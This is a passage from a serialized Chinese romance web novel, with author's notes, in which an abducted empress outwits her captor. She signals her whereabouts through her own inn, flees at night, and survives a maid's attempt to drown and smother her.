舟车劳顿,再加上方才极度恐慌的情绪影响,她已心力交瘁, 再无力与他消磨下去。 袁子逸却没有就此罢手的意思,他仰头靠着车壁,眼神看着上空, 不与她有半点接触。 “那些痕迹……”他沉吟了片刻,才艰难地问出后边几个字,“要几天才会消失?” 沈若辞本不欲回答他这种无礼的问题, 但转念一想,又怕他纠缠不清,更怕他借此由头要看她的身子,便斟酌道,“一般要五日才能慢慢恢复,若是要完全消失,那估计要等上七天左右。” 她心里清楚,按照往日的经验,元栩留在她身上的痕迹,其实没有看起来的触目惊心,只是她皮肤娇嫩,轻轻一碰就要留下痕迹,他夜里就算很克制,也难免要弄出印记,好在两天就变得很淡了,不出三天就能恢复一身干净的皮肉。 但这些,除了元栩,只有她自己一个人知道,此时她怎么说,袁子逸都没有反驳的理由。 但是她要做好完全的准备,按照他厌恶的反应,只要这些痕迹在,袁子逸就不会想碰她。 这倒是简单,就算痕迹变淡了,甚至消失了也无妨,她可以自己伪造。 “我可以等。”七天而已,他可以等。 他对沈若辞的耐心,从来只有他自己才清楚,旁人无从得知。就连沈若辞,也从来没有发现他的心思。 他从小到大,都在等她。甚至为了得到她不惜套用别人的身份,这些屈辱他都可以承受,十年他可以等,何况这短短的七天,又算得了什么? 袁子逸知道自己方才失态了,他努力压下自己所有的情绪,露出最和善的一面,“你休息吧,方才是我冲动了。我没有要伤害你的意思,你能原谅我吗,小辞。” 车中的氛围早就压抑到她心头烦闷不已,加上方才他干呕过后,狭窄的空间里空气变得浑浊潮湿,沈若辞已然失去了所有耐性,她面无表情地敷衍道,“可以。” 见她仍愿意原谅自己,袁子逸感激道,“小辞,你对我真好。” 沈若辞对他近乎讨好的话默然不应。她很累,意识却清楚地感知自己的身体根本无法入睡,她抬眸,“明日会到哪里?” 没想到沈若辞会主动开口与他说话,袁子逸既诧异又惊喜,抬头望过去,眼睛里闪着跳跃的光,听她继续说道,“能否找个客栈休息一夜,车里颠簸,我睡不好。” 她柳眉微蹙,一张小脸苍白且布满疲色,她下巴尖尖的,半垂着的眼皮十分秀气精致,就算奔波逃命的路上,也是美得耀眼夺目,动人心魄。 袁子逸看了不禁心头一软,她从小娇生惯养,哪曾受过这般奔波之苦? 他轻声安抚,“明日,等明日到了郾城,就一起去投宿,到时小辞就可以好好休息。” 沈若辞无声地闭上眼睛。 郾城,刚好她在那里有产业,是一家可供住宿的茶楼。只是要如何不动声色地说服袁子逸到那里去投宿,还是一个问题。 袁子逸这人自小心思缜密,她定不能让对方看出自己的心思。 在沈若辞饱受煎熬的时候,元栩等人也面临着困境,他们已经到了无迹可寻的地步。 在一处大路上,秋风吹落树上的黄叶,马蹄踩在落叶上,发出一声声短促而清脆的“嚓嚓”声。元栩喝停身下的马匹,而后翻身下马,他站在路口处朝眼前的三叉路口望去,到底要往哪里走,他竟毫无头绪。 沈若辞,你究竟被带往哪个方向? 元栩心中默默地质问着,明知没有人会给他回复,他还是一遍又一遍地逼问她。 连续两日两夜不眠不休地赶路,侍卫们已疲惫不堪,此时站在元栩身后,个个脸上都挂着浓浓的愁绪。 身后有马蹄声响起,风声呼啸,马蹄声由远及近,元栩并没有回头,仍站在原地眺望着远方。 那疾驰而来的马匹被猛然收住缰绳,发出一声长长的嘶鸣。马上的人一跃而下,而后单膝跪地,高声道,“臣宋临,参见皇上。” 元栩闻声,缓缓地将目光从远处收回,“何事?起来回话。” “是。”宋临依言起身,恭敬道,“臣受义父之命,给皇上带来一些线索。” 沈相?这两个字仿佛有力量一般,转瞬间,元栩目中燃起一簇微弱的火苗。如同幼时坐在朝廷龙椅上的那个孩童,每每在他茫然无措、束手无策之时,总有一人愿意站出来为他指明前路,扫清障碍。 而那人便是沈相。 恰如此时,在他最无助的时候,他命人给他送来了消息。 宋临从怀中掏出纸张,在元栩面前展开,纸上密密麻麻写满了长短不一的十来个地址,宋临指出其中三个。 “不瞒皇上,这是皇后娘娘出嫁前的产业,她在各地或多或少有几家茶楼客栈,离这里最近的便是这三家。”宋临用牙齿咬破手指,在最近的三个地址上各按了一下,纸张上赫然出现三个鲜红的点。 沈墨知道,若是女儿被人胁迫,她必然不会坐以待毙,她会想法子自救。既然要救自己,要传递消息出去,那最快捷、最安全的方式就是通过自己名下这些产业。 幸好沈若辞嘴巴极严,这些产业除了沈墨跟程于秋,其他亲人好友并无人知晓,就连袁子逸,她从前的恋人,她也未曾告知。 听完宋临的话,元栩前一刻还如死灰般的心,此时又燃起了希望,他望向郾城的方向,心道沈若辞果真听到他的呼唤,给他送来了答案。 宋临推算着最近一处产业的距离,“最近一家茶楼在郾城,从此处出发,估摸一天之内便可赶到。” 元栩点点头,他拨走一半的侍卫跟他前往郾城寻找沈若辞,另一半侍卫跟宋临赶往下一个产业所在地庆城。 “朕这就赶往郾城,若是能找到皇后,自然是最好的。若是不能,朕即刻出发前往庆城与尔等汇合。” 宋临双手抱拳,“是,皇上,臣等即刻出发。” 在元栩快马加鞭赶往郾城的时候,袁子逸三人已到了郾城的边界,再往前便是郾城的东市,这里是郾城的最繁华的地方。 袁子逸拿灌满茶水的水壶给沈若辞倒了一杯茶水,沈若辞喝了一口,微微蹙起眉头,半晌之后才缓缓咽下。 袁子逸见状,立马关切地上前问道,“怎么,喝不惯龙井?” 沈若辞捂着胸口解释道,“之前在相府里喝的是正山小种,茶性温和,脾胃能受得住。” 袁子逸想起她大病后身子亏损,并不适合饮用寒凉之物,恍然道,“我真该死,龙井茶性寒凉,明日就去城里买正山小种。” 可沈若辞似乎并不相信他,“郾城虽是县城,到底不比盛京,有些东西不一定想买就能买到,不必麻烦了。” 这两日来,沈若辞好不容易开口想吃点什么,他岂能因为有困难就轻易放弃? 袁子逸赶忙表明自己的心意,“不麻烦的,小辞。你喜欢什么,我都会很乐意去做。” 沈若辞却说,“不必麻烦去买了,住店的时候让店家沏上一壶来喝就好。” 袁子逸胸腔微微一震,他从沈若辞的话中感受到了来自她的细微体贴。 他很珍惜这份来之不易的转变,更加愿意顺她的意,“等明日到了,我就让红枝去打听一下哪家客栈有正山小种,我们就去住哪家。” 她其实并不专门喝一种茶,但是在沈若辞的盛月楼里,就以正山小种为招牌特色茶,所以她故意说自己喝得最多的正山小种,以此引导袁子逸往这个方向去。 这样一来,投宿在盛月楼里概率就会大上许多。 袁子逸并不知晓沈若辞暗地里的心思,他见沈若辞没有反抗,甚至话里话外都表现出对他的体谅,这让他倍感欣慰。 在他心中志得意满之时,马车却在放慢速度。袁子逸本就着急带沈若辞去投宿,想让她好好休息一夜。此时发现马车已近乎停下来,他忍不住推门出去,朝红枝问道,“什么事,怎么停……” 话还没说完,他顺着红枝的视线望过去,挡在马车前的是四五个手里提着刀的彪形大汉。其中为首的男人穿一身粗布短打,满脸横肉,将刀背架在自己肩膀上,轻蔑地看了一眼探头出来的袁子逸,笑道,“原来是个小白脸,哈哈哈……” 作者有话说:放心,爹出马送线索了,袁不会得逞的 第70章 他身后几个人也跟着笑起来, 笑声震天。 袁子逸被气红了脸,直接忽视他们的笑声,转而继续问红枝, “他们想做什么?” 红枝摇摇头。 那大汉笑够了之后,才顺着袁子逸的话开口, “想做什么?”他故意向前走了一步,将肩膀上的刀更完全更彻底地展示在他二人眼前。 “老子就是想收点过路费, 不知道你们会不会做了。” 袁子逸朝红枝使了个眼色,“给他。” 红枝听命从包袱中掏出十两银子递给那大汉, 哪知对方并不伸手来接。 大汉不屑道,“十两?你们打发要饭的吧?”他望着红枝伸过来的手, 目光轻浮, 往上慢慢逡巡, 最后停留在她脸上, “小娘子长得还算周正,不如你跟好一回, 我就放你们走。” 听了他的话, 其他男人开始起哄,笑声不堪入耳。 袁子逸忽然回头将车门关上,只留沈若辞一人在车厢内。他从车上跳下去,紧接着红枝也跟着跳下车。 沈若辞听到一阵混乱的脚步声夹杂着刀刃撞击声, 紧接着是金属落地的咣当声,接连不断,之后就有人开始跪地求饶。 车外传来大汉求饶的声音, “公子饶命,女侠饶命啊!” 沈若辞震惊。 她虽在车内,并无法亲眼目睹外边打斗的场面。可她清晰的感受到, 不止红枝,就连袁子逸,他们二人都是会拳脚功夫的。 袁子逸一介书生,平日里温文尔雅,瞧上去手无缚鸡之力的公子哥,竟然也会拳脚功夫。与他相识多年,这点沈若辞还是头一回知晓,她一直觉得自己看不透袁子逸,他果然瞒她够深。 处理完那几个妄图劫财劫色的大汉,袁子逸在车外坐了一会儿,才推门进来,此时又是一副翩翩公子的书生模样。 进入车内后,袁子逸不知道是有意还是无意,一直避开她的眼神,他耐心地用言语安抚着她,“没事了,就几个地痞流氓,已经被我们赶走了。” 至于怎么赶走,他却不提,沈若辞心里清楚,却也不打算过问。 等到了郾城,红枝下车去打听客栈的事,按照她先前抛出的暗示,果然如愿以偿住进了盛月楼。 袁子逸跟掌柜的要了两间房,他看向沈若辞,想问她愿不愿意和他同住一屋,却被无情地无视了。 沈若辞的注意力都在掌柜的身上,她满腹心思都在旁算着如何找机会单独跟掌柜搭上话。 袁子逸以为她是在故意避开自己,便笑笑,“小辞跟红枝一间,有什么可以吩咐她,她会照顾好你。” 沈若辞并不喜欢红枝,并不乐于与她同住。可她知道袁子逸不会给她机会独处,对他的安排也不意外,就应了下来。 见她毫不犹豫答应了,袁子逸心中腾起一股失落感。 等到了房间,沈若辞坐下来喝了几口茶水,歇了一阵之后,就准备让人打水来沐浴,她抬头看向红枝,“红枝姐姐,我想洗个澡换一身干净的衣裳,麻烦你唤小二准备热水送上来。” 红枝用盆子里已经准备好的清水洗了把脸,“出门在外,穷讲究什么,凑合着洗把脸就得了。” 为了实施自己的计划,沈若辞可不惯着她,“你要我找你们公子去说吗?” 红枝冷笑,将手里的布巾重重地摔在盆子里,“你们这些管家小姐就是事多,矫情!” 落下话后才不情不愿地出门去喊小二。 沈若辞不愿意用她用过的水,她坚持要叫水沐浴,除了爱干净的原因外,她还想趁单独的沐浴的时候,给自己身上制造一些痕迹。 刚刚小解的时候,她偷偷看过了,之前皇帝在她身上留下的那些痕迹已经变得很淡很淡,不细看的话,都快要看不出来了。 她害怕袁子逸若是知道了,要对她做不轨之事。所以当务之急要先解决这个隐患,能拖一时是一时。 等小二送来了水,沈若辞对红枝说,“麻烦红枝姐姐帮我准备一下衣裳。” 红枝本来已经对她沐浴一事极为不满,此时又听她使唤自己去伺候她沐浴,心中大为不快,她冷冷道,“你要搞清楚,你现在可不是什么尊贵的皇后娘娘了,别随便对我指手画脚。连我家公子都不轻易指使我做事,你也应该要有觉悟。大家都有手有脚,有些事能自己做的,就不要麻烦别人。” 沈若辞还是头一回听红枝说这么多话。原本她还担忧洗澡的时候红枝会突然进去,但经过她刻意制造的小冲突后,就没有担心的必要了,毕竟红枝不会主动往她身上凑,上赶着去伺候人。 于是沈若辞自己一个人抱着衣裳进了浴间,脱了衣裳就开始沐浴。 浴桶里水汽蒸腾朝四周飘散,她用水打湿自己的身子,而后缓缓闭上眼睛,开始回忆二人行鱼水之欢时,元栩是如何在她身上留下痕迹的。她的手,开始模仿元栩的动作,不断地加大力道。 也不知道是因为自己的手小,还是因为力道不够,按起来竟然很疼。力气太小留不下痕迹,力气大了又痛得很,明明,明明…… 元栩的手宽厚有力,可以让她又疼又……舒服。 沈若辞眼睫毛轻轻地颤着,每一根都被水汽洇湿,她使劲地摇晃自己的脑袋,认真地回想他的动作,一点一点地在身上留下那些暧昧的痕迹。 一通折腾之后,沈若辞看着身上那些经由自己手掌按出来的痕迹,轻轻地吐出一口气,心满意足地松了手。 她用浴巾洗了把脸,洗去额头上的汗珠。 此时此刻她的手很酸很软,没什么力气,勉强清洗完身子,刚想起来穿衣裳,就听见红枝在外边阴阳怪气道,“你到底好了没有,不会连洗个澡都不会吧大小姐。” 沈若辞穿了衣裳走出去,红枝坐在床上打量她,“原来会自己穿衣裳,还不至于太蠢。” 话说完,她站起身来,“走吧,下楼去吃饭,公子来叫过我们了。” 沈若辞跟在红枝身后下楼。 楼下的大堂里坐满了吃饭喝茶的客人,茶香、酒香混合着饭菜的香气,烟火味十足。 沈若辞一眼看到袁子逸坐在最不起眼的一处角落里点菜,他正跟小二交谈着什么,没有注意到她跟红枝下楼。她视线快速地转向另一处,被擦得油光发亮的柜台旁,掌柜的正跟一客人说话。 该怎么撇下袁子逸跟红枝,单独跟掌柜的说上几句话呢? 沈若辞边走边想,不一会儿就被红枝带到袁子逸身边。 茶喝了,饭也吃得差不多了,袁子逸起身去结账,红枝留下盯着沈若辞。 她有一口没一口地品着茶,听隔壁桌的人在闲聊。 “这家店的烧鹅味道真的绝了,尤其是这皮,做的酥脆透亮,肥而不腻。” 听到有人夸自己店里的东西好吃,还给予了极高的评价,沈若辞下意识望向对方,那桌吃饭的两男一女,说话的是其中一位偏年轻的男子。 而沈若辞的目光却被那女子吸引。她手长脚长,身量应该极高,穿一身男式的长袍,裁剪得体,袖口衣摆处都绣着精致的花纹,一眼就给人留下极其干脆利落的印象。 有点像阿秋的装扮,沈若辞心里想,她一边喝着茶,一边不受控制地听他们闲聊。 那女子赞同道,“确实好吃。我记得姨母就很喜欢吃烧鹅,她要是能吃到这么好吃的烧鹅,想必心情会好一点。” 她叹了口气,又继续说道,“姨母一心想找到失散多年的女儿,想到如今有了心病。你说茫茫人海,要找到一个十几年未见的人,谈何容易?也不知道我那位未曾谋面的表妹究竟在哪里,究竟长什么样。” 年纪大的男子道,“你姨母嘴上不说,但我知道她心里十分挂念这个女儿。前些年她身不由己,根本不敢想这些事,这两年有能力了,却屡屡碰壁,一无所获。我年初还因此事写信给大魏……一位贵人,想托他帮你姨母找女儿,可惜信寄出去后也是石沉大海。” 言语中无不惋惜。 年轻男子问道,“既然是贵人,会不会是对方瞧不上咱们,根本不想帮这个忙?” “不会,我信他的为人,若是有机会能帮到我,他绝不会推托的。” 沈若辞不知不觉沉浸在他们的对话里,怔怔地望着那三人,心想,那姨母找不到女儿,而她也找不到母亲,她能理解这种找不到至亲的心酸。 她脑子里想的都是自己未曾谋面的娘亲,她又在哪里又长什么模样? 她的思绪被男子低沉的嗓音打断,“她在听我们讲话。” 不知何时,对面三人齐齐向她投来目光,沈若辞这才注意到自己无礼 行为,她不该做出偷听别人讲话的行径,于是忙起身朝他们三人点了一下头,表示歉意,而后露出和善的笑容。 “哇。”那女子在看到她的脸后率先开口,看向一旁的两位男子,惊讶道,“我的个乖乖哪,这世上真有这般好看的女子,真有人长这般俊俏的模样?” 作者有话说:这张含袁量很少了吧[笑哭][笑哭] 下章我们沿沿就要逃离了《 》 70-80 第71章 真真是如书上所说, 生得粉雕玉琢、玉雪可爱…… 沈若辞一时摸不着头脑,她抿紧唇,有这么直白的夸人方式吗? 正想着, 那女子骤然起身,绕了一圈凑到她跟前来。 目光直白炙热地落在沈若辞的脸上, 再次感叹道,“怎么能长得这般好看的, 真是长在我的心坎上了。” 年纪偏大的男子见状赶紧起身拉住兰茗,“大小姐, 请您收敛一点吧。”这次轮到他们对沈若辞表现出歉意了。 而他口中的那位大小姐则是红着脸朝沈若辞尴尬地一笑,“不好意思啊小仙女, 我一见你, 就觉得喜欢得紧。” 从小到大, 夸她好看的客气话, 沈若辞听过很多遍。像现在这般热烈又带着欣赏的夸赞,却是第一回 见到。 沈若辞竟也觉得很受用, 她大大方方地回道, “谢谢你的喜欢。” 那女子见她毫不扭捏,心中的喜爱更甚,于是朝她伸出手介绍起自己来,“我叫兰茗, 你呢?” 沈若辞莞尔,刚要回握兰茗手的时候,却被突然回来的袁子逸打断了。 袁子逸直接挡在沈若辞身前, 客套道,“这位是我的未婚妻子,请问姑娘有什么事吗?” 兰茗收回手, 无言苦笑。 沈若辞稍一错身,从袁子逸身后露出半个脑袋,她朝一脸不满的兰茗眨眨眼,“我姓沈,叫沈沿。” 告诉对方自己的小名,沈若辞并非出于对兰茗的不信任,只是她如今顶着大魏皇后的身份,凡事都要小心为上,免得稀里糊涂就被有心人利用了去。 袁子逸听沈若辞报出“沈沿”这个名字后微微皱起眉头,他朝兰茗一拱手,说了声“失陪了”,转身就拉着沈若辞与红枝上楼。 等沈若辞上楼去休息了,兰茗仍盯着她最后消失的地方,若有所思。 年轻的男子伸手在兰茗眼前用力一挥,斩断她的目光,“看什么呢,人家早就走远了。” 兰茗这才收回目光,失落了一瞬,忽将目光转到年纪偏大的男子身上,两眼放光,“孙肇,我有一个大胆的想法。” 孙肇直觉不是什么好事,下一刻就听她兴奋地提议,“要不我们把她绑回去,然后跟姨母说,沈沿就是我的表妹,她的亲生女儿。” 孙肇抬手就敲了一下她的脑袋,提醒道,“这里是大魏,你绑了她,若是她不愿意,你能出得了大魏?” 兰茗抱着头,苦恼道,“可是我真的好喜欢她啊,怎么办啊。” 那头沈若辞并不知道兰茗想要将她拐走的事情,袁子逸将她送到房门口后,并不离去。他从胸口摸出一支金灿灿的簪子,递到她眼前,“这是我在路上看到的,觉得小辞戴上应该好看,就买过来送给你。” 沈若辞漫不经心地看了一眼,正要伸手去接,袁子逸却忽然抬手,亲手将簪子插在她鬓发上。 一旁的红枝看着那只金簪,眼神有说不出的奇怪。 等袁子逸离开,二人进了屋里,红枝更是没好脸色给她看。她的目光时不时落在沈若辞头顶的金簪子上,那眼神看得人发毛。 沈若辞干脆拔下簪子递出去,“你要是喜欢,拿去好了。” 红枝明明很心动,到底没敢真的来拿。 等到上床睡觉的时候,红枝怕她逃走,就让她睡到里侧去,自己睡外边。 入秋了夜里凉,沈若辞将被子拉到脖颈处,裹住自己的双肩。她闭上眼睛,就想起自己上一次在床上过夜,还是睡在雪辉宫里柔软舒适的床上,睡在元栩……怀里。 只要他来过夜,她不是睡在他怀里,就是睡在他身上。 元栩体热,靠着他睡,根本不用盖被子。 如今她接受程度越来越大,夜里很自然地穿元栩给她的那两个箱子的小衣下裙。那些衣裳都是出自宫中绣娘灵巧的双手,有精湛的针法加持,又裁剪合体,样式花纹都极为漂亮养眼。 沈若辞初见时就很喜欢,可是一想到私密之物做得如此大张旗鼓,便觉得有悖她一惯的认知,可谓十分不妥。 偏偏元栩却说,可以喜欢漂亮的衣裳、首饰,为何不能喜欢漂亮小衣?沈若辞觉得自己肯定是被他那一套歪理带偏了,才会心甘情愿穿他的那些衣裳。 但是很好看,不是吗? 一想到元栩见她穿那些衣裳时不加掩饰的眼神,沈若辞又忍不住拉起被子蒙住自己的脸。她的心现在都在怦怦跳,她能感受到对方有多喜欢,喜欢到经常把持不住…… 沈若辞红着脸躲在被子里,却被红枝重重地推了一下,将她吓一跳。 红枝粗鲁道,“别给我搞花样,赶紧睡。” 沈若辞被推得头都磕在床板上。她气鼓鼓将脑袋搁回枕头上,心想红枝竟胆敢这般对她。她揉了揉头,碍于势单力薄,只好委委屈屈地撇撇嘴,自己生窝囊气。 哪怕是元栩,夜里有时候没控制住力道,撞得狠了,不小心将她头顶到床柱上,他都会第一时间卸了力来安抚她,揉着她的头问疼不疼。 往往那种时候,总是在听见他的话后,她才反应过来自己被撞到了。 可是红枝,太欺负人了!沈若辞还在生气,但终究是被困意打败,迷迷糊糊中就睡了过去。 隔天一早,三人在大堂吃早饭,红枝先吃完,出门去采补物资。 沈若辞胃口小,吃得慢,袁子逸坐着等她。 从昨日到今早,红枝寸步不离地跟着她,压根儿没有机会单独找掌柜的。此时吃完早饭就要离开盛月楼了,沈若辞思索着趁现在找个理由支开袁子逸。 她将吃剩的半个包子放回桌上,状似不经意地问道,“你要不要先去楼上拿包袱,红枝回来后,我们就可以直接出发了。” “也好。”三人的包裹起床时已收拾妥当,上楼去拿下来就好了。袁子逸想着尽快出发,便同意她的提议上楼去拿包袱。 那边袁子逸才刚上楼,沈若辞就趁机走向柜台。从她刚刚下楼的时候,就发现柜台处一直是空着的,没有人在场,她叫来一旁路过的小二,询问道,“小哥,请问你们掌柜的去哪里了?” 小二转头的瞬间,眼神一亮,殷勤道,“这位客人,我们掌柜的有事外出了,您有什么事找小的就行,小的绝对给您办好。” 沈若辞只是摇头,坚持道,“我想要见你们掌柜的一面,他什么时候能回来?” 小二有些为难,“这个就说不准了。” 此时楼上已传来脚步声,留给沈若辞的时间不多了,她没有时间可以等到掌柜回来,只能在这个时候拿出自己小鱼玉佩,“小哥,我跟你们掌柜的是故交,这玉佩麻烦你交给他,他看到了自然知道我是谁。” 小二听得一头雾水,刚要开口询问细节,沈若辞便将玉佩塞到他手中,轻声道,“拜托了,一定要将玉佩交到掌柜的手中,我日后必有重谢。” 她又急急交代道,“等会跟我同行的男人下来后,你千万不要在他面前提起此事。” 她抽回手,脚步声越来越近,袁子逸已开始下楼,沈若辞用祈求的目光看着小二,又朝他点了一下头。 小二虽不知道事情原委,但是干这一行的最重要的就是要会看客人脸色行事,这些年他也练出了一身机灵的本事,借着托盘的遮掩,迅速将玉佩藏到身上。 沈若辞顿时松了口气。 袁子逸已走到她身后,“怎么了小辞,有什么事吗?” 沈若辞道,“没什么,就是趁等你的功夫,向小哥了解一些郾城的风土人情。” 小二陪笑道,“我们郾城是富庶之地,好山好水,两位贵人有空多来玩玩。” 沈若辞微微颔首,“这回有事无法久留,下回有机会来,必要小住一段时间。” 小住?也不是不行。袁子逸顺着她的话,憧憬道,“小辞若是喜欢这里,日后我必会趁闲暇时间陪你过来,到时候我们就可以一起游山玩水。” 沈若辞像没听到他的话一般望向店门口,“红枝回来了,我们出发吧。” 三人马不停蹄,一路赶往下一个目的地。 傍晚时分,趁下车休整的功夫,沈若辞走到袁子逸跟前,伸手抚了抚被风吹皱的下裳,问道,“今夜要找个客栈休息,还是要继续赶路?” 袁子逸目光跟随着她的手一起移动,看向她的腰间,他瞬间意识到了变化,“你的玉佩呢?” 沈若辞表现出微微吃惊的神色,“我不小心将玉佩遗落在盛月楼里。” 袁子逸只是看着她,半晌才揭穿她的谎话,“小辞,你是故意的。” 他压下心中的不快,希望她能给自己一个合理的解释。 哪知回应他的果然如他所想,根本不是什么好话。 “是又怎么样,我就是想把玉佩留在那里,看看能否有幸让找我的人看到,这样他们自然就知道自己找人的方向是对的。” 袁子逸冷笑道,“我不会让你得逞的。”他忽然转头过去,对红枝说道,“夜色已晚,你骑马返回郾城的盛月楼,去拿回那枚玉佩。”他决不能让人知道他们的行踪。 作者有话说:额,加了一点回忆二人在一起的小事,竟然没写到成功出逃,明天一定。 第72章 红枝闻言脸色一片灰败, 她早知沈若辞是个不省事,没想到还是个惹事精。公子这么好的人,能得到他的青睐, 她还有什么不知足?非要处处与他作对,究竟存的是什么心思! 她心中愤愤不平, 黑着脸问道,“公子, 会面地点还是选在此处吗?” “是,我们先在这里休息一夜, 你快去快回。明日我来赶车,你白天可以补眠。” 红枝临上马前, 故意回头瞪了沈若辞一眼, 这才翻身上马。 如今马车卸了马, 袁子逸只好出高价找附近店家帮忙买一匹能长时间赶路的好马, 等店家买完马回来,又开始指使打杂的人将车跟马组装好。 等做完这些, 小半个时辰就已经过去了。 沈若辞心想终于可以好好休息一夜了, 哪知袁子逸却没有在这里住宿的意思,他叫来沈若辞上马车,他要重新找个地方投宿,明早再回来此处跟红枝汇合。 沈若辞迟疑了一会, 还是听从他的意思上了马车。 在城中的另一处不起眼的客栈前,袁子逸停下马车。沈若辞跟着他进店里,这里的环境要比昨日的盛月楼差上许多, 别说他们这种自小娇生惯养的主儿,就连普通的平民,遇上这种环境都要抱怨上两句。 袁子逸却执着地要住在这里, 沈若辞拗不过他,只好听他的住下来。 只是这客栈委实不方便,屋中连洗漱的水都要投宿的人自己去厨房里打。 在袁子逸抱着脸盆去后厨打水的时候,沈若辞后脚也跟着偷偷出门。不过出了门,她并没有选择跑远,只是转身躲进马厩里,找到他们的马车后,躲在暗地里。 果然不出半晌,袁子逸就急匆匆地出来了。沈若辞趁他上车的功夫,悄悄坐到了车厢后边的车沿上。车沿只是窄窄一段木头,马车颠簸起来的时候,她需要双手紧紧抓住车厢的边缘,才不至于摔下来。 沈若辞的两只手都被晃荡的车厢磨出了血,中途好几次她痛得几乎要哭出声来,纵使钻心痛楚使她满头大汗,却仍紧紧的扒着车厢不肯松手。 就这样,袁子逸如她所料,回到了方才跟红枝分别时的那处客栈。沈若辞估摸着时间,她要准备下车了。可是在快速行进的马车上跳车,是一件极其危险的事情。 眼见离目的地越来越近,沈若辞不敢有半分迟疑,她咬紧牙关,闭上眼睛,果断松手跳车。 “嘭”的一声,沈若辞摔落在地,幸好马车仍在前行,风声、车轮辘辘声掩盖了她落地的声响。 这一摔,将她摔得不轻,摔得她五脏六腑都疼起来。好在她躺在地上缓了一会,还能站起来,还能继续走路,这就足够了。 沈若辞忍着周身痛楚,借着夜色摸到客栈附近。离客栈不远处有一河,河岸周围草木旺盛,她寻了一处隐秘性较好的地方,躲在草丛里边。 袁子逸的马车在四周来回搜寻,转了几圈之后,他俨然失去了耐心,开始后悔自己太过自信。 以他对沈若辞的了解,逃走后定会重新回到第一家客栈这里。可是他忽略了一点,她一介弱女子,除非有人相助,否则不可能在短时间内赶到此处。 袁子逸懊恼不已,他将马车掉头,沿着来时的方向折返回去。 听马车的声响渐渐远去,沈若辞在草丛中松了口气。可眼下她又面临着另一困境,藏身处在河边,她正处于隐秘、潮湿的环境,这种地方往往是蛇鼠出没最多的场合,她不禁开始后怕,要是真有蛇爬到身上来,要如何是好? 沈若辞感觉自己整个后背都湿透了。 她不敢出去,只好躲在一人高的草丛里自己克服恐惧。 沈若辞开始想她喜欢的人和事来冲散恐惧,她在心里默默念着,“阿爹,阿秋,你们现在在哪里,在做什么呢,我好想你们。” 她又想到了元栩,他这个人虽然喜欢胡作非要,可说到底,从未害她处于这般危险的境地里。 入宫虽不是她的本意,可入宫后他从不为难她,甚至还好吃好喝供着她,除了床上那事有点过分,其他其实都是些无关紧要的小事,她都可以睁一只眼闭一只眼就过了。 可现在她是真的害怕,难道真的要过不了这一关,交代在这里了吗? 沈若辞想起元栩那张自以为是的脸,心里不由得抱怨起来——你还是皇帝呢,不是都说皇帝手眼通天吗?怎么不见你来救我? 沈若辞开始埋怨起元栩来,她越想越气,越想越委屈,最后又开始咬着唇哭起来。 什么狗屁皇帝! 兔子急了会咬人,她急起来也是会骂人的。 沈若辞在面对恐惧,想在意的人,埋怨元栩这三者之间反复横跳,最终夜色渐渐散去,她感觉自己浑身上下都湿透了,不知道是清晨的露水,还是自己的冷汗。 在她意识模糊之际,她看到红枝回来了,跟着袁子逸一起分头找她。 沈若辞瞬间清醒,她捂住自己的嘴一动不动,不敢发出任何声响,却还是被对方发现了。 红枝站着俯视她,并不说话。 “红枝,有没有在那边?” 不远处传来袁子逸询问的声音,红枝没有回头,仍盯着沈若辞看,她嘴唇轻轻嚅动,“不在这边。” 沈若辞眼中露出一丝诧异,就见红枝忽然伸手,嘴角现出渗人的笑意,下一刻就忽然伸出手按住她的肩膀,同时蓄力一推,将人从岸上直接推进水里去。 在沈若辞失重下水的瞬间,她抓住了对方的裙摆,硬生生将猝不及防的红枝也带下水里去。 二人双双落水。 袁子逸闻声前来,借着夜色,他勉强能看到河中有一团黑影,他焦躁地问道,“红枝,是你吗?发生什么事了?” 红枝用手拍了拍水面,回应道,“公子,是我,红枝不小心掉进水里了。您放心,我自己可以上去。” 趁她说话的功夫,沈若辞尝试放松,让身子随着水流朝下游飘去,等红枝回过神来的时候,她已经飘出一段距离了。 红枝水性一般,又看不清水中的形势,不敢贸然游过去,她迟疑了一阵后选择转身返回岸上。 沈若辞仍仰躺着,顺着水流一路往下。直到一处宽阔的浅滩,她才水里站起来。水草丰茂,周围仍是黑漆漆一片,可经过方才一番遭遇后,她似乎没有那么怕了,坚定地从水中走到岸边,而后躺在沙滩上喘息。 这里是什么地方,沈若辞根本不知道,她太累了,急需要休息来给身体积蓄一点力气。 躺了一刻钟后,她被渐渐靠近的脚步声吓得浑身一个激灵,睡意全无。 沈若辞轻轻伸手从头上拔下袁子逸送她的那支金簪子,握在手心里。她眼睛微微掀开一条缝隙,此时天色渐白,隐约能看清来人,像是红枝的身影。 等到对方越靠越近,沈若辞屏住呼吸,更是一动不动。她能感觉到对方尝试用脚踢了她一下,见她不动,这才俯身下来探她的呼吸。 察觉到她鼻尖仍有微弱的呼吸后,红枝沉默了一瞬,而后是一阵窸窸窣窣的脱衣声音。 再然后,有水滴在脸上,一股强大的力道裹挟着湿润的衣裳,以极快的速度覆盖住她的口鼻。 脱了呼吸,沈若辞下意识挣扎起来,对方明显早有准备,干脆卧倒在她身上,紧紧地抱住她的头,试图让她彻底窒息。 而正是这个当口,沈若辞趁对方一味进攻之时,举起手中已握得有了温度的发簪,毫无阻拦地朝她脖子上刺进去,一发即中。 红枝瞬间全身脱了力,手脚僵硬不敢再有动作。 沈若辞费了好大劲才把她从自己身上推下去,她胸脯剧烈起伏,大口大口地喘着气。 等呼吸顺畅一些的时候,这才看向躺在一旁试图挣扎的红枝,她冷笑道,“你不是喜欢这支金簪吗,是你的了。” 红枝被她的话激怒,伸脚要来踢她,却被沈若辞轻轻松松地躲开了。 沈若辞用湿透的袖子擦了擦脸,平静地俯看她,“你为何非要置我于死地?” 红枝恨道,“因为,你会害死公子的。” 沈若辞无言,害死袁子逸的,难道不是他自己。 这主仆二人倒是如出一辙的执拗,沈若辞已不欲对此事多费口舌,她朝红枝说出最后一句话,“要想活命的话,最好不要动。等你们家公子来救你,你尚有一线生机。” 她并非出于好心,只不过描述一个事实。 沈若辞拧干衣裙上的水滴,她浑身冰冷,沿着小路朝岸边走上去。短短一段距离,她走了很久才到岸上。 远处有人影举着火把朝这边靠近,她怕极了,害怕是袁子逸或者其他坏人,只能蜷缩着,又躲进岸边的草丛里。 来人开始说话,“盛月楼的掌柜派人跟着的,那女的就往这边来的。跟着她走,继续找肯定能找到人。” 盛月楼?沈若辞慢慢回神,木讷地思索着这些话,他们是来找自己的? “爷,我们已经偷偷跟人跟到这里来了,绝对就在这附近,跑不远的。” 